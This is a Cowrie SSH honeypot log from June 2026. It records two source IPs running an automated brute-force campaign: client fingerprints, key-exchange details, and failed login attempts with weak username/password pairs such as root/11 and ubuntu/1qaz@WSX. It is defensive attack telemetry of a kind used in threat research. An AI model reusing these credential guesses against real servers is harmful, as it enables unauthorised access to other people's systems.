{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:45.783824Z","src_ip":"91.92.42.133","session":"9875638a5d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:47.500483Z","src_ip":"91.92.42.133","session":"9875638a5d7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47208,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd73aa2a90f","protocol":"ssh","message":"New connection: 91.92.40.171:47208 (159.203.135.109:22) [session: 2bd73aa2a90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:48.193201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:48.197882Z","src_ip":"91.92.40.171","session":"2bd73aa2a90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:48.621397Z","src_ip":"91.92.42.133","session":"9875638a5d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:48.647516Z","src_ip":"91.92.40.171","session":"2bd73aa2a90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:49.963619Z","src_ip":"91.92.40.171","session":"2bd73aa2a90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:51.495144Z","src_ip":"91.92.40.171","session":"2bd73aa2a90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47250,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2a74ff66e0","protocol":"ssh","message":"New connection: 91.92.40.171:47250 (159.203.135.109:22) [session: 1c2a74ff66e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.073989Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36774,"dst_ip":"159.203.135.109","dst_port":22,"session":"b94ad26486a7","protocol":"ssh","message":"New connection: 91.92.42.133:36774 (159.203.135.109:22) [session: b94ad26486a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.153178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.162785Z","src_ip":"91.92.40.171","session":"1c2a74ff66e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.166229Z","src_ip":"91.92.40.171","session":"1c2a74ff66e0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.354393Z","src_ip":"91.92.42.133","session":"b94ad26486a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.358102Z","src_ip":"91.92.42.133","session":"b94ad26486a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:53.637162Z","src_ip":"91.92.40.171","session":"1c2a74ff66e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:54.325578Z","src_ip":"91.92.42.133","session":"b94ad26486a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:54.743423Z","src_ip":"91.92.40.171","session":"1c2a74ff66e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:55.423786Z","src_ip":"91.92.42.133","session":"b94ad26486a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f14a3502dcd1","protocol":"ssh","message":"New connection: 91.92.40.171:43724 (159.203.135.109:22) [session: f14a3502dcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:59.617370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:59.720670Z","src_ip":"91.92.40.171","session":"f14a3502dcd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55320,"dst_ip":"159.203.135.109","dst_port":22,"session":"36971d181f45","protocol":"ssh","message":"New connection: 91.92.42.133:55320 (159.203.135.109:22) [session: 36971d181f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:00.174524Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:00.291750Z","src_ip":"91.92.40.171","session":"f14a3502dcd1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:00.337291Z","src_ip":"91.92.42.133","session":"36971d181f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:00.340528Z","src_ip":"91.92.42.133","session":"36971d181f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:01.270056Z","src_ip":"91.92.42.133","session":"36971d181f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:02.512566Z","src_ip":"91.92.42.133","session":"36971d181f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43748,"dst_ip":"159.203.135.109","dst_port":22,"session":"53d6c7f558e5","protocol":"ssh","message":"New connection: 91.92.40.171:43748 (159.203.135.109:22) [session: 53d6c7f558e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:03.744590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:03.768431Z","src_ip":"91.92.40.171","session":"53d6c7f558e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:03.869320Z","src_ip":"91.92.40.171","session":"53d6c7f558e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:04.382853Z","src_ip":"91.92.40.171","session":"f14a3502dcd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:04.719368Z","src_ip":"91.92.40.171","session":"53d6c7f558e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:05.861382Z","src_ip":"91.92.40.171","session":"53d6c7f558e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:06.404355Z","src_ip":"91.92.40.171","session":"f14a3502dcd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55560,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a96e750dab7","protocol":"ssh","message":"New connection: 91.92.42.133:55560 (159.203.135.109:22) [session: 3a96e750dab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:07.368901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:07.649980Z","src_ip":"91.92.42.133","session":"3a96e750dab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:07.653286Z","src_ip":"91.92.42.133","session":"3a96e750dab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54512,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b7932468287","protocol":"ssh","message":"New connection: 91.92.40.171:54512 (159.203.135.109:22) [session: 9b7932468287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:09.301221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:09.316210Z","src_ip":"91.92.40.171","session":"9b7932468287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:09.400641Z","src_ip":"91.92.40.171","session":"9b7932468287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:09.670871Z","src_ip":"91.92.42.133","session":"3a96e750dab7","protocol":"ssh"}
